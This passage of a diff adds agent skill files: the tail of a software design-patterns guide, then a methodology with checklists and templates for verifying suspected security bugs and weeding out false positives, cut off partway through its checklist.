|
||||
|
||||
**When to use:** Complex UI components with multiple related parts (menus, accordions, tabs).
|
||||
**When to skip:** Simple components with 1-2 elements.
|
||||
|
||||
### Custom Hook Composition
|
||||
|
||||
Extract and compose behavior into reusable hooks.
|
||||
|
||||
```tsx
|
||||
function useDebounce<T>(value: T, delay: number): T { ... }
|
||||
function usePagination(items: Item[], pageSize: number) { ... }
|
||||
function useLocalStorage<T>(key: string, initial: T) { ... }
|
||||
```
|
||||
|
||||
**When to use:** Shared stateful logic across components, complex state management within a component.
|
||||
**When to skip:** One-off logic that doesn't repeat.
|
||||
|
||||
### Discriminated Unions
|
||||
|
||||
Type-safe state modeling using TypeScript's union types.
|
||||
|
||||
```typescript
|
||||
type AsyncState<T> =
|
||||
| { status: "idle" }
|
||||
| { status: "loading" }
|
||||
| { status: "success"; data: T }
|
||||
| { status: "error"; error: Error };
|
||||
|
||||
// Exhaustive switch — TypeScript ensures all cases handled
|
||||
function render(state: AsyncState<User>) {
|
||||
switch (state.status) {
|
||||
case "idle": return <Placeholder />;
|
||||
case "loading": return <Spinner />;
|
||||
case "success": return <UserCard user={state.data} />;
|
||||
case "error": return <ErrorBanner error={state.error} />;
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
**When to use:** State machines, API response states, form states, anything with distinct modes.
|
||||
**When to skip:** Boolean flags are fine for simple on/off states.
|
||||
|
||||
### State Management Decision Tree
|
||||
|
||||
1. **UI-local state?** -> `useState` / `useReducer`
|
||||
2. **Shared between siblings?** -> Lift state to common parent
|
||||
3. **Shared across distant components?** -> React Context
|
||||
4. **Complex state logic?** -> `useReducer` + Context
|
||||
5. **Server state (API data)?** -> TanStack Query / SWR
|
||||
6. **Global app state?** -> Zustand / Jotai (prefer over Redux for new projects)
|
||||
|
||||
---
|
||||
|
||||
## Django / Python Patterns
|
||||
|
||||
### Service Layer
|
||||
|
||||
Separate business logic from views and models.
|
||||
|
||||
```python
|
||||
# services/order_service.py
|
||||
class OrderService:
|
||||
@staticmethod
|
||||
def create_order(user: User, items: list[CartItem]) -> Order:
|
||||
"""Business logic lives here, not in the view."""
|
||||
order = Order.objects.create(user=user, total=calculate_total(items))
|
||||
OrderItem.objects.bulk_create([...])
|
||||
send_confirmation_email(user, order)
|
||||
return order
|
||||
```
|
||||
|
||||
**When to use:** Business logic that involves multiple models, external calls, or complex validation.
|
||||
**When to skip:** Simple CRUD with no business rules beyond Django's built-in validation.
|
||||
|
||||
### Repository Pattern (QuerySet Abstraction)
|
||||
|
||||
Custom managers and querysets to encapsulate query logic.
|
||||
|
||||
```python
|
||||
class PublishedManager(models.Manager):
|
||||
def get_queryset(self):
|
||||
return super().get_queryset().filter(status="published")
|
||||
|
||||
class Article(models.Model):
|
||||
objects = models.Manager() # Default
|
||||
published = PublishedManager() # Article.published.all()
|
||||
```
|
||||
|
||||
**When to use:** Complex or reusable query logic, domain-specific filtering.
|
||||
**When to skip:** One-off queries or simple filters.
|
||||
|
||||
### Signals vs Explicit Calls
|
||||
|
||||
| Approach | Pros | Cons |
|
||||
|---|---|---|
|
||||
| Django signals | Decoupled, works across apps | Hidden control flow, hard to debug, ordering issues |
|
||||
| Explicit calls | Visible, debuggable, testable | Coupling between modules |
|
||||
|
||||
**Rule of thumb:** Use signals for truly cross-cutting concerns (audit logging, cache invalidation). Use explicit calls for business-critical logic where you need to understand and test the flow.
|
||||
|
||||
---
|
||||
|
||||
## Anti-Patterns (All Stacks)
|
||||
|
||||
| Anti-Pattern | Problem | Fix |
|
||||
|---|---|---|
|
||||
| **Premature abstraction** | Abstracting before seeing the pattern repeat | Wait for 3 instances before extracting |
|
||||
| **Inheritance over composition** | Deep inheritance hierarchies, fragile base class | Prefer composition (traits, hooks, mixins) |
|
||||
| **God object** | One class/module that does everything | Split by responsibility (SRP) |
|
||||
| **Shotgun surgery** | One change requires editing many files | Group related code together |
|
||||
| **Feature envy** | A function uses another class's data more than its own | Move the function to the class it envies |
|
||||
| **Speculative generality** | Building for use cases that may never come | YAGNI — build for now, refactor when needed |
|
||||
| **Golden hammer** | Using the same pattern/tool for everything | Choose the right tool for the job |
|
||||
|
||||
---
|
||||
|
||||
## Pattern Selection Guide
|
||||
|
||||
When asked "which pattern should I use?":
|
||||
|
||||
1. **Describe the problem** (not the pattern you think fits)
|
||||
2. **Identify constraints** (performance, extensibility, team size, timeline)
|
||||
3. **Present 2-3 options** with trade-offs
|
||||
4. **Recommend one** with clear justification
|
||||
5. **Note when to revisit** — "If X changes, reconsider Y"
|
||||
|
||||
---
|
||||
|
||||
## Integration
|
||||
|
||||
Cross-reference this pack's `code-architect` skill for structural/architecture assessment and `code-quality` for the complexity thresholds that motivate refactoring toward a pattern.
|
||||
@@ -0,0 +1,112 @@
|
||||
---
|
||||
name: fp-check
|
||||
description: Systematically verifies suspected security bugs to eliminate false positives. Produces TRUE POSITIVE or FALSE POSITIVE verdicts with documented evidence for each bug.
|
||||
license: MIT (modified; see UPSTREAMS.json)
|
||||
---
|
||||
|
||||
# False Positive Check
|
||||
|
||||
## When to Use
|
||||
|
||||
- "Is this bug real?" or "is this a true positive?"
|
||||
- "Is this a false positive?" or "verify this finding"
|
||||
- "Check if this vulnerability is exploitable"
|
||||
- Any request to verify or validate a specific suspected bug
|
||||
|
||||
## When NOT to Use
|
||||
|
||||
- Finding or hunting for bugs ("find bugs", "security analysis", "audit code")
|
||||
- General code review for style, performance, or maintainability
|
||||
- Feature development, refactoring, or non-security tasks
|
||||
- When the user explicitly asks for a quick scan without verification
|
||||
|
||||
## Rationalizations to Reject
|
||||
|
||||
If you catch yourself thinking any of these, STOP.
|
||||
|
||||
| Rationalization | Why It's Wrong | Required Action |
|
||||
|---|---|---|
|
||||
| "Rapid analysis of remaining bugs" | Every bug gets full verification | Return to task list, verify next bug through all phases |
|
||||
| "This pattern looks dangerous, so it's a vulnerability" | Pattern recognition is not analysis | Complete data flow tracing before any conclusion |
|
||||
| "Skipping full verification for efficiency" | No partial analysis allowed | Execute all steps per the chosen verification path |
|
||||
| "The code looks unsafe, reporting without tracing data flow" | Unsafe-looking code may have upstream validation | Trace the complete path from source to sink |
|
||||
| "Similar code was vulnerable elsewhere" | Each context has different validation, callers, and protections | Verify this specific instance independently |
|
||||
| "This is clearly critical" | LLMs are biased toward seeing bugs and overrating severity | Complete devil's advocate review; prove it with evidence |
|
||||
|
||||
---
|
||||
|
||||
## Step 0: Understand the Claim and Context
|
||||
|
||||
Before any analysis, restate the bug in your own words. If you cannot do this clearly, ask the user for clarification. Half of false positives collapse at this step — the claim doesn't make coherent sense when restated precisely.
|
||||
|
||||
Document:
|
||||
|
||||
- **What is the exact vulnerability claim?** (e.g., "heap buffer overflow in `parse_header()` when `content_length` exceeds 4096")
|
||||
- **What is the alleged root cause?** (e.g., "missing bounds check before `memcpy` at line 142")
|
||||
- **What is the supposed trigger?** (e.g., "attacker sends HTTP request with oversized Content-Length header")
|
||||
- **What is the claimed impact?** (e.g., "remote code execution via controlled heap corruption")
|
||||
- **What is the threat model?** What privilege level does this code run at? Is it sandboxed? What can the attacker already do before triggering this bug? (e.g., "unauthenticated remote attacker vs privileged local user"; "runs inside Chrome renderer sandbox" vs "runs as root with no sandbox")
|
||||
- **What is the bug class?** Classify the bug and consult [bug-class-verification.md](references/bug-class-verification.md) for class-specific verification requirements that supplement the generic phases below.
|
||||
- **Execution context**: When and how is this code path reached during normal execution?
|
||||
- **Caller analysis**: What functions call this code and what input constraints do they impose?
|
||||
- **Architectural context**: Is this part of a larger security system with multiple protection layers?
|
||||
- **Historical context**: Any recent changes, known issues, or previous security reviews of this code area?
|
||||
|
||||
## Route: Standard vs Deep Verification
|
||||
|
||||
After Step 0, choose a verification path.
|
||||
|
||||
### Standard Verification
|
||||
|
||||
Use when ALL of these hold:
|
||||
|
||||
- Clear, specific vulnerability claim (not vague or ambiguous)
|
||||
- Single component — no cross-component interaction in the bug path
|
||||
- Well-understood bug class (buffer overflow, SQL injection, XSS, integer overflow, etc.)
|
||||
- No concurrency or async involved in the trigger
|
||||
- Straightforward data flow from source to sink
|
||||
|
||||
Follow [standard-verification.md](references/standard-verification.md). No task creation — work through the linear checklist, documenting findings inline.
|
||||
|
||||
### Deep Verification
|
||||
|
||||
Use when ANY of these hold:
|
||||
|
||||
- Ambiguous claim that could be interpreted multiple ways
|
||||
- Cross-component bug path (data flows through 3+ modules or services)
|
||||
- Race conditions, TOCTOU, or concurrency in the trigger mechanism
|
||||
- Logic bugs without a clear spec to verify against
|
||||
- Standard verification was inconclusive or escalated
|
||||
- User explicitly requests full verification
|
||||
|
||||
Follow [deep-verification.md](references/deep-verification.md). Break the work into a full task dependency graph and execute each phase methodically, delegating to subagents where the host supports it.
|
||||
|
||||
### Default
|
||||
|
||||
Start with standard. Standard verification has two built-in escalation checkpoints that route to deep when complexity exceeds the linear checklist.
|
||||
|
||||
## Batch Triage
|
||||
|
||||
When verifying multiple bugs at once:
|
||||
|
||||
1. Run Step 0 for all bugs first — restating each claim often collapses obvious false positives immediately
|
||||
2. Route each bug independently (some may be standard, others deep)
|
||||
3. Process all standard-routed bugs first, then deep-routed bugs
|
||||
4. After all bugs are verified, check for **exploit chains** — findings that individually failed gate review may combine to form a viable attack
|
||||
|
||||
## Final Summary
|
||||
|
||||
After processing ALL suspected bugs, provide:
|
||||
|
||||
1. **Counts**: X TRUE POSITIVES, Y FALSE POSITIVES
|
||||
2. **TRUE POSITIVE list**: Each with brief vulnerability description
|
||||
3. **FALSE POSITIVE list**: Each with brief reason for rejection
|
||||
|
||||
## References
|
||||
|
||||
- [Standard Verification](references/standard-verification.md) — Linear single-pass checklist for straightforward bugs
|
||||
- [Deep Verification](references/deep-verification.md) — Full task-based orchestration for complex bugs
|
||||
- [Gate Reviews](references/gate-reviews.md) — Six mandatory gates and verdict format
|
||||
- [Bug-Class Verification](references/bug-class-verification.md) — Class-specific verification requirements for memory corruption, logic bugs, race conditions, integer issues, crypto, injection, info disclosure, DoS, and deserialization
|
||||
- [False Positive Patterns](references/false-positive-patterns.md) — 13-item checklist and red flags for common false positive patterns
|
||||
- [Evidence Templates](references/evidence-templates.md) — Documentation templates for data flow, mathematical proofs, attacker control, and devil's advocate reviews
|
||||
@@ -0,0 +1,114 @@
|
||||
# Bug-Class-Specific Verification
|
||||
|
||||
Different bug classes require different verification approaches. After classifying the bug in Step 0, apply the class-specific requirements below **in addition to** the generic verification phases.
|
||||
|
||||
## Memory Corruption
|
||||
|
||||
Buffer overflow, heap overflow, stack overflow, out-of-bounds read/write, use-after-free, double-free, type confusion.
|
||||
|
||||
**Language safety check first:** Memory corruption in safe Rust, Go (without `unsafe.Pointer`/cgo), or managed languages (Java, C#, Python) is almost always a false positive — the type system or runtime prevents it. Verify whether the code is in an `unsafe` block (Rust), uses cgo/`unsafe.Pointer` (Go), or calls native code via JNI/P/Invoke. If the code is entirely in the safe subset, reject the memory corruption claim unless it involves a compiler bug or soundness hole.
|
||||
|
||||
**Verify:**
|
||||
|
||||
- What exactly gets corrupted? (which object, field, or memory region)
|
||||
- What is the corruption size and offset? Can the attacker control them?
|
||||
- Is the corruption a useful exploitation primitive (arbitrary read/write, vtable overwrite, function pointer overwrite) or just a crash?
|
||||
- What allocator is in use (glibc, tcmalloc, jemalloc, Windows heap)? Does it have hardening that blocks exploitation?
|
||||
- For UAF: trace the object lifetime — what frees it, what reuses the memory, can the attacker control the replacement object?
|
||||
- For type confusion: prove the type mismatch exists and that misinterpretation of the data leads to a useful primitive.
|
||||
|
||||
## Logic Bugs
|
||||
|
||||
Authentication bypass, access control errors, incorrect state transitions, confused deputy, privilege escalation through API misuse.
|
||||
|
||||
**Verify:**
|
||||
|
||||
- Check against the specification, RFC, or design docs — not just the code. Does the implementation match the intended behavior?
|
||||
- Map all state transitions. Can the system reach a state the developer didn't anticipate?
|
||||
- Identify implicit assumptions that are never enforced in code.
|
||||
- For auth bugs: verify ALL authentication/authorization paths, not just the one that appears broken. Is there a secondary check that catches it?
|
||||
- Logic bugs pass every bounds check and mathematical proof — don't let clean static analysis convince you it's a false positive.
|
||||
|
||||
## Race Conditions
|
||||
|
||||
TOCTOU, data races, signal handling races, concurrent state modification.
|
||||
|
||||
**Verify:**
|
||||
|
||||
- What is the actual race window? Is it nanoseconds or seconds?
|
||||
- Can the attacker widen the window (e.g., by stalling a thread with a slow NFS mount, large allocation, or CPU contention)?
|
||||
- Verify the threading model: what threads/processes can actually access this data concurrently?
|
||||
- Check all synchronization primitives in use — mutexes, atomics, RCU, lock-free structures.
|
||||
- For TOCTOU on filesystem: can the attacker control the path between check and use (symlink races)?
|
||||
|
||||
## Integer Issues
|
||||
|
||||
Overflow, underflow, truncation, signedness errors, wraparound.
|
||||
|
||||
**Verify:**
|
||||
|
||||
- What are the exact integer types and their ranges at every point in the computation?
|
||||
- Is the overflow signed (undefined behavior in C/C++ — compiler may exploit this) or unsigned (defined wraparound)?
|
||||
- Trace the integer through all casts, conversions, and promotions. Where does truncation or sign extension occur?
|
||||
- After the integer issue occurs, is the resulting value actually used in a dangerous way (allocation size, array index, loop bound)?
|
||||
- Check if compiler warnings (`-Wconversion`, `-Wsign-compare`) flag this.
|
||||
|
||||
## Crypto Weaknesses
|
||||
|
||||
Weak algorithms, bad parameters, nonce reuse, padding oracle, insufficient randomness, timing side channels.
|
||||
|
||||
**Verify:**
|
||||
|
||||
- Check parameter choices against current standards (NIST, IETF) and known attacks. "AES-128" is fine; "DES" is not.
|
||||
- Verify randomness sources. Is the PRNG cryptographically secure? Is it properly seeded?
|
||||
- For nonce reuse: prove the same nonce can actually be used twice in practice, not just theoretically.
|
||||
- For timing side channels: is the code actually reachable by an attacker who can measure timing? Network jitter may make remote timing attacks impractical.
|
||||
- Compare the implementation against a reference implementation or test vectors from the spec.
|
||||
|
||||
## Injection
|
||||
|
||||
SQL injection, XSS, command injection, server-side template injection, path traversal, LDAP injection.
|
||||
|
||||
**Verify:**
|
||||
|
||||
- Trace attacker input from entry point to the sink (query, command, template, filesystem path). Is there any sanitization or escaping along the way?
|
||||
- Check if the framework provides automatic escaping (e.g., parameterized queries, template auto-escaping). If so, is it actually enabled and not bypassed?
|
||||
- For XSS: what context does the input land in (HTML body, attribute, JavaScript, URL)? Each requires different escaping.
|
||||
- For path traversal: is the path canonicalized before the access check? Can `../` or null bytes bypass validation?
|
||||
- Test actual payload delivery through all intermediate processing — encoding, decoding, and transformation steps may neutralize or enable the payload.
|
||||
|
||||
## Information Disclosure
|
||||
|
||||
Uninitialized memory reads, error message leaks, timing side channels, padding oracles.
|
||||
|
||||
**Verify:**
|
||||
|
||||
- What specific data leaks? Not all leaks are equal — a stack leak revealing ASLR base or canary is critical; one revealing a static string is worthless.
|
||||
- Is the leaked data actually useful to an attacker for further exploitation (ASLR bypass, session tokens, crypto keys)?
|
||||
- For uninitialized memory: prove the memory is actually uninitialized at the point of read, not just potentially uninitialized on some code path.
|
||||
- For timing side channels: can the attacker make enough measurements with sufficient precision? What's the noise level?
|
||||
- For error messages: does the error path actually reach the attacker, or is it logged server-side only?
|
||||
|
||||
## Denial of Service
|
||||
|
||||
Algorithmic complexity, resource exhaustion, crash bugs, infinite loops, memory bombs.
|
||||
|
||||
**Verify:**
|
||||
|
||||
- What is the resource consumption ratio? Attacker sends X bytes, server consumes Y resources. Is the amplification meaningful?
|
||||
- Can the resource be reclaimed (connection closes, memory freed) or is it permanent exhaustion?
|
||||
- For algorithmic complexity: what is the actual worst-case input? Prove it triggers worst-case behavior, don't just claim O(n²).
|
||||
- For crash bugs: is the crash reliably triggerable, or does it depend on specific heap/stack layout?
|
||||
- Does the service restart automatically? A crash that causes a 100ms restart is different from one that requires manual intervention.
|
||||
|
||||
## Deserialization
|
||||
|
||||
Unsafe deserialization, object injection, gadget chain exploitation.
|
||||
|
||||
**Verify:**
|
||||
|
||||
- Does the attacker actually control the serialized data that reaches the deserialization call?
|
||||
- Does a usable gadget chain exist in the classpath/import graph? Without a gadget chain, unsafe deserialization is a design smell, not an exploitable bug.
|
||||
- What deserialization library and version is in use? Are there known gadget chains for it?
|
||||
- Are there type restrictions, allowlists, or look-ahead deserialization filters that block dangerous classes?
|
||||
- For language-specific: Java `ObjectInputStream`, Python `pickle`, PHP `unserialize`, .NET `BinaryFormatter` each have different exploitation characteristics.
|
||||
@@ -0,0 +1,143 @@
|
||||
# Deep Verification
|
||||
|
||||
Full task-based verification for complex bugs. Use when routing from SKILL.md selects the deep path, or when standard verification escalates.
|
||||
|
||||
## If Escalated from Standard
|
||||
|
||||
When a bug escalates from standard verification:
|
||||
|
||||
1. Review all evidence gathered during the standard pass — do not repeat completed work
|
||||
2. Identify which phases below are already satisfied by existing evidence
|
||||
3. Create tasks only for remaining phases, starting from where standard left off
|
||||
4. Preserve and reference all prior findings in new task descriptions
|
||||
|
||||
## Verification Task List
|
||||
|
||||
For each bug (Bug #N), create tasks with the dependency structure below, using the host's task-tracking tool if one is available (otherwise track phases as a checklist). Wire each task's dependencies to the phase(s) that block it.
|
||||
|
||||
```
|
||||
── Phase 1: Data Flow Analysis ──────────────────────────────────
|
||||
"BUG #N - Phase 1.1: Map trust boundaries and trace data flow"
|
||||
Then in parallel (each blocked by 1.1):
|
||||
"BUG #N - Phase 1.2: Research API contracts and safety guarantees"
|
||||
"BUG #N - Phase 1.3: Environment protection analysis"
|
||||
"BUG #N - Phase 1.4: Cross-reference analysis"
|
||||
|
||||
── Phase 2: Exploitability Verification (blocked by Phase 1) ───
|
||||
In parallel:
|
||||
"BUG #N - Phase 2.1: Confirm attacker controls input data"
|
||||
"BUG #N - Phase 2.2: Mathematical bounds verification"
|
||||
"BUG #N - Phase 2.3: Race condition feasibility proof"
|
||||
Then (blocked by 2.1, 2.2, 2.3):
|
||||
"BUG #N - Phase 2.4: Adversarial analysis"
|
||||
|
||||
── Phase 3: Impact Assessment (blocked by Phase 2) ─────────────
|
||||
In parallel:
|
||||
"BUG #N - Phase 3.1: Demonstrate real security impact"
|
||||
"BUG #N - Phase 3.2: Primary control vs defense-in-depth"
|
||||
|
||||
── Phase 4: PoC Creation (blocked by Phase 3) ──────────────────
|
||||
"BUG #N - Phase 4.1: Create pseudocode PoC with data flow diagrams"
|
||||
Then in parallel (each blocked by 4.1):
|
||||
"BUG #N - Phase 4.2: Create executable PoC if feasible"
|
||||
"BUG #N - Phase 4.3: Create unit test PoC if feasible"
|
||||
"BUG #N - Phase 4.4: Negative PoC — show exploit preconditions"
|
||||
Then (blocked by 4.2, 4.3, 4.4):
|
||||
"BUG #N - Phase 4.5: Verify PoC demonstrates the vulnerability"
|
||||
|
||||
── Phase 5: Devil's Advocate (blocked by Phase 4) ──────────────
|
||||
"BUG #N - Phase 5.1: Devil's advocate review"
|
||||
|
||||
── Gate Review (blocked by Phase 5) ────────────────────────────
|
||||
"BUG #N - GATE REVIEW: Evaluate all six gates before verdict"
|
||||
```
|
||||
|
||||
## Execution Rules
|
||||
|
||||
- Mark each task as in-progress when starting, completed only with concrete evidence
|
||||
- **Parallel sub-phases**: Launch independent sub-phases concurrently, delegating to subagents where the host supports it. Collect all results before proceeding to the next dependency gate.
|
||||
- **Dependency gates**: Never start a phase until all tasks it depends on are completed.
|
||||
- Apply all 13 checklist items from [false-positive-patterns.md](false-positive-patterns.md) to each bug
|
||||
|
||||
## Agents
|
||||
|
||||
Spawn these agents via `Task` for their respective phases. Pass the bug description and any prior phase results as context.
|
||||
|
||||
| Agent | Phases | Purpose |
|
||||
|-------|--------|---------|
|
||||
| `data-flow-analyzer` | 1.1–1.4 | Trace data flow, map trust boundaries, check API contracts and environment protections |
|
||||
| `exploitability-verifier` | 2.1–2.4 | Prove attacker control, mathematical bounds, race condition feasibility |
|
||||
| `poc-builder` | 4.1–4.5 | Create pseudocode, executable, unit test, and negative PoCs |
|
||||
|
||||
Phases 3 (Impact Assessment), 5 (Devil's Advocate), and the Gate Review are handled directly — they require synthesizing results across phases and should not be delegated.
|
||||
|
||||
## Phase Requirements
|
||||
|
||||
The task list above names every phase. Below are the key pitfalls and decision criteria for each — focus on what you might get wrong.
|
||||
|
||||
### Phase 1: Data Flow Analysis
|
||||
|
||||
**1.1**: Map trust boundaries (internal/trusted vs external/untrusted) and trace data from source to alleged vulnerability. Apply class-specific verification from [bug-class-verification.md](bug-class-verification.md). **Key pitfall**: Analyzing code in isolation without tracing the full validation chain. Conditional logic upstream may make the vulnerable code mathematically unreachable (see [false-positive-patterns.md](false-positive-patterns.md) items 1 and 1a).
|
||||
|
||||
**1.2**: Check API contracts before claiming overflows — many APIs have built-in bounds protection that prevents the alleged issue regardless of inputs.
|
||||
|
||||
**1.3**: Before concluding vulnerability, verify that no compiler, runtime, OS, or framework protections prevent exploitation. Note: mitigations like ASLR and stack canaries raise the exploitation bar but do not eliminate the vulnerability itself. Distinguish "prevents exploitation entirely" (e.g., Rust's safe type system) from "makes exploitation harder" (e.g., ASLR).
|
||||
|
||||
**1.4**: Check if similar code patterns exist elsewhere and are handled safely. Review test coverage, code review history, and design documentation for this area.
|
||||
|
||||
### Phase 2: Exploitability Verification
|
||||
|
||||
**2.1**: Prove attacker controls the data reaching the vulnerability. **Key pitfall**: Assuming network/external data reaches the operation without tracing the actual path — internal storage set by trusted components is not attacker-controlled.
|
||||
|
||||
**2.2**: Create explicit algebraic proofs for bounds-related issues. Use the template in [evidence-templates.md](evidence-templates.md). Verify: IF validation_check_passes THEN bounds_guarantee_holds.
|
||||
|
||||
**2.3**: For race conditions, prove concurrent access is actually possible. **Key pitfall**: Assuming race conditions in single-threaded initialization or synchronized contexts.
|
||||
|
||||
**2.4**: Assess full attack surface: input control, validation bypass paths, timing dependencies, and state manipulation.
|
||||
|
||||
### Phase 3: Impact Assessment
|
||||
|
||||
**3.1**: Distinguish real security impact (RCE, privesc, info disclosure) from operational robustness issues.
|
||||
|
||||
**3.2**: Distinguish primary security controls from defense-in-depth. Failure of a defense-in-depth measure is not a vulnerability if primary protections remain intact.
|
||||
|
||||
### Phase 4: PoC Creation
|
||||
|
||||
**Always create a pseudocode PoC.** Additionally, create executable and/or unit test PoCs when feasible:
|
||||
|
||||
1. **Pseudocode with data flow diagrams** showing the attack path (always)
|
||||
2. **Executable PoC** in the target language demonstrating the vulnerability (if feasible)
|
||||
3. **Unit test PoC** exercising the vulnerable code path with crafted inputs (if feasible)
|
||||
|
||||
See [evidence-templates.md](evidence-templates.md) for PoC templates.
|
||||
|
||||
**Negative PoC (Phase 4.4)**: Demonstrate the gap between normal operation and the exploit path — what preconditions must hold for the vulnerability to trigger, and why they don't hold under normal conditions.
|
||||
|
||||
### Phase 5: Devil's Advocate Review
|
||||
|
||||
Before final verdict, systematically challenge the vulnerability claim. Assume you are biased toward finding bugs and rating them as critical — actively work against that bias.
|
||||
|
||||
**Challenges arguing AGAINST the vulnerability:**
|
||||
|
||||
1. What non-vulnerability explanations exist for this code pattern?
|
||||
2. How would the original developers justify this implementation?
|
||||
3. What crucial system architecture context might be missing?
|
||||
4. Am I seeing a vulnerability because the pattern "looks dangerous" rather than because it actually is?
|
||||
5. Even if validation looks insufficient, does it actually prevent the claimed condition?
|
||||
6. Am I incorrectly assuming attacker control over trusted data?
|
||||
7. Have I rigorously proven the mathematical condition for vulnerability can occur?
|
||||
8. Beyond theoretical possibility, is this practically exploitable?
|
||||
9. Am I confusing defense-in-depth failure with a primary security vulnerability?
|
||||
10. What compiler/runtime/OS protections might prevent exploitation?
|
||||
11. Am I hallucinating this vulnerability? LLMs are biased toward seeing bugs everywhere and rating every finding as critical — is this actually a real, exploitable issue or am I pattern-matching on scary-looking code?
|
||||
|
||||
**Challenges arguing FOR the vulnerability (false-negative protection):**
|
||||
|
||||
12. Am I dismissing a real vulnerability because the exploit seems complex or unlikely?
|
||||
13. Am I inventing mitigations or validation logic that I haven't verified in the actual source code? Re-read the code after reaching a conclusion.
|
||||
|
||||
See [evidence-templates.md](evidence-templates.md) for the devil's advocate documentation template.
|
||||
|
||||
## Gate Review
|
||||
|
||||
Apply the six gates from [gate-reviews.md](gate-reviews.md) to reach a verdict.
|
||||
@@ -0,0 +1,91 @@
|
||||
# Evidence Templates
|
||||
|
||||
Use these templates when documenting verification evidence for each bug.
|
||||
|
||||
## Data Flow Documentation
|
||||
|
||||
```
|
||||
Bug #N Data Flow Analysis
|
||||
Source: [exact location] — Trust Level: [trusted/untrusted]
|
||||
Path: Source → Validation1[file:line] → Transform[file:line] → Vulnerability[file:line]
|
||||
Validation Points:
|
||||
- Check1: [condition] at [file:line] — [passes/fails/bypassed]
|
||||
- Check2: [condition] at [file:line] — [passes/fails/bypassed]
|
||||
```
|
||||
|
||||
## Mathematical Bounds Proof
|
||||
|
||||
```
|
||||
Bug #N Mathematical Analysis
|
||||
Claim: Operation X is vulnerable to [overflow/underflow/bounds violation]
|
||||
Given Constraints: [list all validation conditions]
|
||||
|
||||
Algebraic Proof:
|
||||
1. [first constraint from validation]
|
||||
2. [constant or known value]
|
||||
3. [derived inequality]
|
||||
...
|
||||
N. Therefore: [vulnerability confirmed/debunked] (Q.E.D.)
|
||||
|
||||
Conclusion: [vulnerability is/is not mathematically possible]
|
||||
```
|
||||
|
||||
**Example:**
|
||||
|
||||
```
|
||||
Given: validation ensures (input_size >= MIN_SIZE)
|
||||
Given: MIN_SIZE = 16, header_size = 8
|
||||
Prove: (input_size - header_size) cannot underflow
|
||||
|
||||
1. input_size >= MIN_SIZE (from validation)
|
||||
2. MIN_SIZE = 16 (constant)
|
||||
3. header_size = 8 (constant)
|
||||
4. input_size >= 16 (substitution of 1,2)
|
||||
5. input_size - 8 >= 16 - 8 (subtract header_size from both sides)
|
||||
6. input_size - header_size >= 8 (simplification)
|
||||
7. Therefore: underflow impossible (Q.E.D.)
|
||||
```
|
||||
|
||||
## Attacker Control Analysis
|
||||
|
||||
```
|
||||
Bug #N Attacker Control Analysis
|
||||
Input Vector: [how attacker provides input]
|
||||
Control Level: [full/partial/none]
|
||||
Constraints: [what limits exist on attacker input]
|
||||
Reachability: [can attacker-controlled data reach vulnerable operation?]
|
||||
```
|
||||
|
||||
## PoC — Pseudocode with Data Flow Diagram
|
||||
|
||||
```
|
||||
PoC for Bug #N: [Brief Description]
|
||||
|
||||
Data Flow Diagram:
|
||||
|
||||
[External Input] → [Validation Point] → [Processing] → [Vulnerable Operation]
|
||||
| | | |
|
||||
Attacker (May be bypassed) (Transforms data) (Unsafe operation)
|
||||
Controlled | | |
|
||||
| v v v
|
||||
[Malicious Data] → [Insufficient Check] → [Processed Data] → [Impact]
|
||||
|
||||
PSEUDOCODE:
|
||||
function vulnerable_operation(user_data):
|
||||
validation_result = weak_validation(user_data) // Explain why this fails
|
||||
processed_data = transform_data(user_data) // Show transformation
|
||||
unsafe_operation(processed_data) // Show vulnerability trigger
|
||||
```
|
||||
|
||||
## Devil's Advocate Review
|
||||
|
||||
```
|
||||
Bug #N Devil's Advocate Review
|
||||
Vulnerability Claim: [brief description]
|
||||
|
||||
For each of the 13 questions from the devil's advocate review, document your answer:
|
||||
1-11. [Challenges arguing AGAINST the vulnerability]
|
||||
12-13. [Challenges arguing FOR the vulnerability — false-negative protection]
|
||||
|
||||
Final Assessment: [Vulnerability confirmed/debunked with reasoning]
|
||||
```
|
||||
@@ -0,0 +1,115 @@
|
||||
# False Positive Patterns — Lessons Learned
|
||||
|
||||
Apply ALL items in this checklist to EACH potential bug during verification.
|
||||
|
||||
## Checklist
|
||||
|
||||
### 1. Trace Full Validation Chain
|
||||
|
||||
Don't analyze isolated code snippets. Trace backwards to find ALL validation that precedes potentially dangerous operations. Network packet size operations may look dangerous but often have bounds validation earlier in the function.
|
||||
|
||||
### 1a. Map Complete Conditional Logic Flow
|
||||
|
||||
Vulnerable-looking code may be unreachable due to conditional logic that creates mathematical guarantees. Example: array access `buffer[length-4]` appears unsafe when `length < 4`, but if the code is only reachable when `length > 12` due to earlier validation, the vulnerability is impossible.
|
||||
|
||||
**Verify:**
|
||||
|
||||
- What conditions must be met for execution to reach the alleged vulnerability?
|
||||
- Do those conditions mathematically prevent the vulnerability scenario?
|
||||
- Are there minimum size/length requirements that guarantee safe access?
|
||||
- Does the conditional flow create impossible-to-violate bounds?
|
||||
|
||||
### 2. Identify Defensive Programming Patterns
|
||||
|
||||
Distinguish between actual vulnerabilities and defensive assertions/validations. `ASSERT(size == expected_size)` followed by size-controlled operations is defensive, not vulnerable. Verify that checks actually prevent the alleged vulnerability.
|
||||
|
||||
### 3. Confirm Exploitable Data Paths
|
||||
|
||||
Only report vulnerabilities with CONFIRMED exploitable data flow paths. Don't assume network-controlled data reaches dangerous functions without tracing the actual path step by step.
|
||||
|
||||
### 4. Understand Data Source Context
|
||||
|
||||
Distinguish between data sources and their trust levels. API return values, compile-time constants, and network data have different risk profiles. Determine the actual source and whether it is attacker-controlled.
|
||||
|
||||
### 5. Analyze Bounds Validation Logic
|
||||
|
||||
Look for mathematical relationships between validation checks and subsequent operations. If `packet_size >= MIN_SIZE` is checked and `MIN_SIZE >= sizeof(header)`, then `packet_size - sizeof(header)` cannot underflow.
|
||||
|
||||
### 6. Verify TOCTOU Claims
|
||||
|
||||
Time-of-check-time-of-use issues require proof that the checked value can change between check and use. If a size is checked and immediately used in the same function with no external modification possible, there is no TOCTOU.
|
||||
|
||||
### 7. Understand API Contract and Trust Boundaries
|
||||
|
||||
Always understand API contracts before claiming buffer overflows. Some APIs have built-in bounds protection and cannot write beyond the buffer regardless of input parameters.
|
||||
|
||||
### 8. Distinguish Internal Storage from External Input
|
||||
|
||||
Internal storage systems (configuration stores, registries) are controlled by trusted components, not attackers. Values set during installation by trusted components are not attacker-controlled.
|
||||
|
||||
### 9. Don't Confuse Pattern Recognition with Vulnerability Analysis
|
||||
|
||||
